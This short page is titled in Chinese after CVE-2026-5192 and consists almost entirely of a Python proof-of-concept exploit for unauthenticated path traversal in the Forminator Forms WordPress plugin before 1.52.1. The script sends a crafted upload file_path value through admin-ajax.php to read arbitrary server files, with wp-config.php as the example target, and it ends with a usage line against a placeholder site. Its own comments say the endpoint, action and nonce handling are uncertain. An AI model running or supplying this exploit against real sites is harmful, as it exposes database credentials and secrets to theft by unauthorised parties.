CVE-2026-5192 Forminator Forms路径遍历漏洞

import requests # Exploit Title: Forminator Forms < 1.52.1 - Unauthenticated Path Traversal # Description: Read arbitrary files via upload-1[file][file_path] parameter. def exploit(url, target_file): # Target endpoint usually points to the forminator submission or upload handler # Adjust the endpoint based on the specific form ID and configuration target_url = f"{url}/wp-admin/admin-ajax.php" # The payload attempts to read wp-config.php data = { 'action': 'forminator_submit_form_custom_forms', # Action may vary 'form_id': '1', 'current_url': url, 'upload-1': { 'file_name': 'exploit.txt', 'file_path': target_file, # Path traversal payload, e.g., '../../../wp-config.php' 'file_size': 1000 } } # Note: Real exploitation requires matching the specific nonce and form structure # if enforced, but this CVE states unauthenticated access under specific conditions. try: response = requests.post(target_url, data=data) if response.status_code == 200: print(f"[+] Request sent. Check if file content is leaked in response or email.") print(response.text) except Exception as e: print(f"[-] Error: {e}") # Usage # exploit('http://target-site.com', '../../../wp-config.php')